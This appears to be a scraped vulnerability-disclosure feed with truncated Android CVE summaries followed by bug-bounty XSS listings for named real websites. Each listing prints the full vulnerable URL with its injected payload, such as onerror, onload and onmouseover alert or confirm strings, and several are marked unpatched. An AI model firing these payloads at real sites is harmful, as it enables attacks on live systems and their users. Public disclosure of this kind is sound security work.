Information disclosure

An information disclosure vulnerability in the kernel trace subsystem could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10,...

Information disclosure

An information disclosure vulnerability in the Framework APIs could enable a local malicious application to bypass operating system protections that isolate application data from other applications. This issue is rated as High because it could be used to gain access to data that the application...

Information disclosure

An information disclosure vulnerability in the kernel UVC driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10,...

CVE-2017-0597

An elevation of privilege vulnerability in Audioserver could enable a local malicious application to execute arbitrary code within the context of a privileged process. This issue is rated as High because it could be used to gain local access to elevated capabilities, which are not normally...

CVE-2016-10293

CVE-2016-10293 is an information-disclosure flaw in the Qualcomm video driver on Android (Kernel-3.10). A local malicious app could access data beyond its permissions by exploiting the driver when a privileged process is compromised. The vulnerability is listed for Nexus 5X, Nexus 6P, and Android...

CVE-2016-10288

An elevation of privilege vulnerability in the Qualcomm LED driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.1...

CVE-2017-0587

CVE-2017-0587 describes a remote code execution vulnerability in the Android Mediaserver component, specifically in libmpeg2 used during media file and data processing. The underlying issue is memory corruption triggered by processing specially crafted media files, allowing an attacker to execute...

CVE-2017-0634

An information disclosure vulnerability in the Synaptics touchscreen driver could enable a local malicious application to access data outside of its permission levels. This issue is rated as Moderate because it first requires compromising a privileged process. Product: Android. Versions:...

CVE-2016-10291

An elevation of privilege vulnerability in the Qualcomm Slimbus driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions:...

CVE-2016-10277

An elevation of privilege vulnerability in the Motorola bootloader could enable a local malicious application to execute arbitrary code within the context of the bootloader. This issue is rated as Critical due to the possibility of a local permanent device compromise, which may require reflashing...

CVE-2017-0630

CVE-2017-0630 : Information disclosure in Android’s kernel trace subsystem. An attacker must first compromise a privileged process to access data beyond its permissions. Affected products include Android kernel versions 3.10 and 3.18 (Android ID A-34277115). The description notes an information d...

fuerteventura-alternativ.de XSS vulnerability

Vulnerable URL: https://www.fuerteventura-alternativ.de/en/Greeting-cards/Landscapes-and-towns/Landscapes-and-towns.html?page=ecardform=05betancuria.jpg%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22name=email=name=email= Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

versandapotheke-allgaeu.de XSS vulnerability

Vulnerable URL: http://www.versandapotheke-allgaeu.de/autocomplete.php/?fallbackurl=http://www.versandapotheke-allgaeu.de/catalogsearch/ajax/suggest/=default=test"'--! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability...

nidbox.com XSS vulnerability

Vulnerable URL: http://www.nidbox.com/?returnurl=//"'--! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 15098 VIP website status:| Yes Check nidbox.com SSL connection:| Grade: A...

cbi.iq XSS vulnerability

Vulnerable URL: http://www.cbi.iq/index.php/'%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 21:28 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

shoesgather.com XSS vulnerability

Vulnerable URL: http://shoesgather.com/search/?Keyword=%3E%27%3E%22%3Es%3Ci%3Ei%3Cimg+src%3Dx+onerror%3Dprompt%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1652050 VIP website...

kimholland.nl XSS vulnerability

Vulnerable URL: http://www.kimholland.nl/modules/mdetect.php?catch=// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 421159 VIP website status:| No Check kimholland.nl SSL...

yamaha-motor.eu XSS vulnerability

Vulnerable URL: http://www.yamaha-motor.eu/uk/search/index.aspx?q="+onmouseover=alert"OPENBUGBOUNTY"+x=""' /Style=position:fixed;top:0;left:0;font-size:999px; /Onmouseenter=confirmOPENBUGBOUNTY // Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability...

apply.aramco.jobs XSS vulnerability

Vulnerable URL: https://apply.aramco.jobs/jobs/apply/243703'-confirm'OPENBUGBOUNTY'-'/login/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

bnymellon.jibeapply.com XSS vulnerability

Vulnerable URL: https://bnymellon.jibeapply.com/jobs/apply/243703'-confirm'OPENBUGBOUNTY'-'/login/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP websi...